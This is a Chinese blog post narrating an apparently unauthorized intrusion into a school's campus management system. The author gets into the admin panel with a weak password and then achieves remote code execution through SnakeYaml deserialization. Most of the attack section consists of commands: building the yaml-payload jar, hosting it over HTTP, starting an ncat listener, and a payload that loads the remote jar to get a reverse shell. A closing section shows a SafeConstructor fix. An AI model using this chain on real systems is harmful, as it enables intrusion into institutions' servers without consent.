【实战分享】某智慧校园管理系统从弱口令到RCE

一、前言

今天划水挖edu的洞,看到一个智慧化校园系统挺有意思。是Java的SnakeYaml反序列化,踩了好几个坑(其实我是闲的),简单记录一下吧。

 

 

 

二、信息搜集

登录界面如图

 

 

 

进行一波指纹识别

 

 

 

可以发现两个敏感指纹,一个是APACHE Shiro,一个是这个图上某CMS管理系统。开始我尝试爆破了下Shiro的key,没有结果。就去找了下该CMS的漏洞。发现存在后台RCE的0day。

三、漏洞复现

一手弱口令直接进后台了。弱口令yyds!

 

 

 

利用脚本其实已经有师傅写好了。转到这个github项目下下载该项目。打开修改代码。因为网上搜到的exp都是些dnslog请求或者Windows平台的复现记录。这里正好有个linux环境,我就记录了此文章。

修改exp。

 

 

 脚本也比较简单,就是实现了ScriptEngineFactory接口,然后在静态代码块处填写需要执行的命令。将项目打包后挂载到web端,使用payload进行反序列化后请求到该位置,实现java.net.URLClassLoader调用远程的类进行执行命令。

将java文件编译成jar包

javac src/artsploit/AwesomeScriptEngineFactory.java //会生成一个AwesomeScriptEngineFactory.class文件
jar -cvf yaml-payload.jar -C src/ . //将src目录下的文件打包为yaml-payload.jar的jar包

 

启动一个服务器上传jar包。可以用Python起一个web服务。我这里有宝塔环境所有就顺手用了

Python启动web服务如下:

python -m http.server --cgi 7878

 

 

 

 

使用vps监听exp中的端口

ncat -lvp 7878

 

以上,漏洞利用的环境就搭建完毕了

修改payload为自己服务器的ip,远程加载jar文件

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://ip/yaml-payload.jar"]]]]')

 

在网站后台系统中设置定时任务

 

 

 执行一次即可

 

 

 

查看vps弹回的shell

 

 

 

四、SnakeYaml 简介

SnakeYaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。

五、漏洞修复

加入new SafeConstructor()类进行过滤

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://ip:1234/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml(new SafeConstructor());			//加入new SafeConstructor()类进行过滤
        yaml.load(context);
    }
}

再次进行反序列化会抛异常。
再者就是拒绝不安全的反序列化操作,反序列化数据前需要经过校验或拒绝反序列化数据可控。

六、总结

这个漏洞进入后台才能RCE。所以自我感觉只要密码足够难就不会被RCE的。开个玩笑,有洞还是要补上喽。。。。。。

posted @ 2022-05-11 23:05  Master先生  阅读(672)  评论(0编辑  收藏  举报